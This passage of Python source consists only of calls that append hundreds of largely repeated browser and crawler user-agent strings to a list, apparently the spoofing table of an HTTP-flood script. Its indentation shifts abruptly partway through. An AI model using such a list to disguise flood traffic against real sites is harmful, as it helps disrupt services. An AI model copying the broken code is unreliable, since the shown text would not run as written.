  2733.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2734.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2735.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2736.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2737.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2738.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2739.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2740.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2741.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2742.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2743.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2744.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2745.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2746.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2747.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2748.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2749.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2750.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2751.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2752.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2753.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2754.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2755.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2756.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2757.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2758.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2759.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2760.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2761.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2762.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2763.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2764.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2765.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2766.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2767.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2768.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2769.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2770.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2771.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2772.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2773.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2774.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2775.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2776.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2777.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2778.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2779.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2780.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2781.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2782.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2783.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2784.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2785.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2786.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2787.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2788.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2789.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2790.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2791.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2792.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2793.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2794.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2795.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2796.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2797.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2798.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2799.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2800.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2801.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2802.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2803.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2804.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2805.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2806.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2807.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2808.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2809.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2810.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2811.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2812.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2813.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2814.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2815.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2816.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2817.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2818.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2819.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2820.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2821.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2822.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2823.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2824.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2825.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2826.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2827.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2828.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2829.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2830.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2831.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2832.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2833.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2834.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2835.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2836.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2837.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2838.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2839.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2840.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2841.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2842.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2843.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2844.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2845.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2846.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2847.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2848.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2849.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  2850.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  2851.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  2852.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  2853.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  2854.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2855.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  2856.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  2857.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  2858.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  2859.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  2860.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  2861.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2862.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2863.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  2864.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2865.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  2866.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  2867.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  2868.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  2869.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  2870.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  2871.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2872.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  2873.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  2874.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  2875.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  2876.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  2877.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  2878.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  2879.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  2880.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  2881.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  2882.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  2883.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2884.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  2885.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  2886.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  2887.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  2888.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  2889.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2890.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2891.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2892.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2893.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2894.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2895.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2896.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2897.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2898.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2899.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2900.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2901.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2902.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2903.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2904.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2905.         headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2906.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2907.         headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2908.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2909.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2910.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2911.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2912.         headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2913.         headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2914.         headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2915.         headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2916.         headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2917.         headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2918.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2919.         headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2920.         headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2921.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2922.         headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2923.         headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2924.         headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
